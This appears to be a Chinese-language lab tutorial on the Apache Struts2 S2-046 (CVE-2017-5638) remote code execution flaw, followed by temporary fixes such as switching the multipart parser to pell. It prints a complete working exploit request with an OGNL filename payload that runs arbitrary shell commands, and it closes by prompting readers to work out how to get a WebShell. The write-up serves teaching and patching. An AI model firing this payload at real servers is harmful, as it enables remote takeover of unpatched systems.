【S2-046】Struts2遠程命令執行漏洞(CVE-2017-5638)
據說S2-046漏洞和S2-045漏洞非常相似,都是由報錯信息帶入buildErrorMessage方法造成的, 只是這次存在兩個觸發點哦!危害嘛,你說嘞?S2-046(CVE-2017-5638)中Struts使用的Jakarta解析文件上傳請求包不當,當惡意訪問者使用非常大的Content-Length值,文件名構造惡意OGNL內容,會導致遠程命令執行,引發數據泄露、網頁篡改、植入後門、成為肉雞等安全事件。不過對於已經修復S2-045漏洞的用戶(升級Struts版本為Struts 2.3.31、Struts 2.5.10)就不受此漏洞的影響啦!可是如果你沒有的話,那就…………
漏洞介紹
Apache Struts 2被曝存在遠程命令執行漏洞,漏洞編號S2-046。在使用基於Jakarta插件的文件上傳功能時,滿足以下條件,會觸發遠程命令執行漏洞。
1.上傳文件的大小(由Content-Length頭指定)大於Struts2允許的最大大小(2GB)。
2.文件名內容構造惡意的OGNL內容。
本次S2-046漏洞遠程命令執行漏洞需滿足以上條件,而S2-045的漏洞只需要Content-Type
一個點就可以進行遠程命令執行。
對於已經修復S2-045漏洞的用戶(升級Struts版本為Struts 2.3.31、Struts 2.5.10)不受此漏洞影響。
影響範圍
Struts 2.3.5 – Struts 2.3.31
Struts 2.5 – Struts 2.5.10
不受影響的版本
Struts 2.3.32Struts 2.5.10.1
漏洞危害
在default.properties文件中,struts.multipart.parser的值有兩個選擇,分別是jakarta和pell。其中的jakarta解析器是Struts 2框架的標準組成部分。默認情況下jakarta是啟用的,所以該漏洞的嚴重性需要得到正視。
惡意訪問者可通過遠程命令注入執行,令系統執行惡意命令,導致被惡意利用,從而威脅伺服器安全,影響極大。
實驗步驟
步驟1:驗證漏洞
打開目標網站:http://172.16.12.2/
發現跳轉鏈接到http://172.16.12.2/example/HelloWorld.action
工具使用方式:
為poc.sh
腳本添加執行許可權:
chmod 777 poc.sh
驗證漏洞:
./poc.sh http://172.16.12.2/example/HelloWorld.action "ifconfig"
實際發送的HTTP請求包如下:
POST /example/HelloWorld.action HTTP/1.1 n Host: 172.16.12.2 n Connection: close n Content-Type: multipart/form-data; boundary=---------------------------735323031399963166993862150n Content-Length: 5000 n n -----------------------------735323031399963166993862150 Content-Disposition: form-data; name="foo"; filename="%{(#nike=multipart/form-data).n(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):n((#container=#context[com.opensymphony.xwork2.ActionContext.container]).n(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).n(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).n(#context.setMemberAccess(#dm)))).(#cmd=ifconfig).(#iswin=(@java.lang.System@getProperty(os.name).toLowerCase().contains(win))).(#cmds=(#iswin?{cmd.exe,/c,#cmd}:{/bin/bash,-c,#cmd})).n(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).n(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}b" nContent-Type: text/plain n x n -----------------------------735323031399963166993862150--n
可以看到Content-Length
設置的值非常大,而且在上傳的filename
欄位中存在OGNL遠程命令執行語句。
執行效果:
成功執行了ifconfig命令,返回了172.16.12.2目標機的網卡配置信息
步驟2:臨時修復方案一
修改struts2的Multipart parser
使用ssh連接工具連接目標機172.16.12.2
,用戶名root
,密碼123456
連接ssh後,執行系統命令:
cd /var/www/apache-tomcat-7.0.14/webapps/ROOT/WEB-INF/lib/
進入該目錄下後執行以下命令(使用python的簡易WEB伺服器,來傳輸文件):
python -m SimpleHTTPServer 8080
將文件struts2-core-2.3.31.jar
下載到本地
修改其中的default.properties
文件
找到struts.multipart.parser
,該選項就是struts2的Multipart parser應用配置,默認值為jakarta
,即此次出現命令執行漏洞的上傳框架。
將其修改為pell
,相當於將存在漏洞的jakarta
框架禁用了。
修改後值struts.multipart.parser=pell
替換jar文件
將/var/www/apache-tomcat-7.0.14/webapps/ROOT/WEB-INF/lib/
路徑下的struts2-core-2.3.31.jar
移動到根目錄/
,將我們修改配置後重新打包的jar文件放到該目錄下。
重啟tomcat
替換文件後需要重啟tomcat服務,切換到/var/www/apache-tomcat-7.0.14/bin/
目錄下,首先執行./shutdown.sh
,然後執行./startup.sh
重啟tomcat服務會有5秒左右的延時
驗證漏洞
poc程序已經無法成功利用了。
步驟3:臨時修復方案二
如業務系統比較複雜,以上臨時修復方案不能使用時,且無法輕易的升級struts的版本時,可以使用知道創宇的創宇盾來攔截網路的攻擊流量。
思考
根據poc代碼,思考如何去拿到網站的WebShell?
實驗場景鏈接:
Struts2新漏洞S2-046在線實驗環境
推薦閱讀: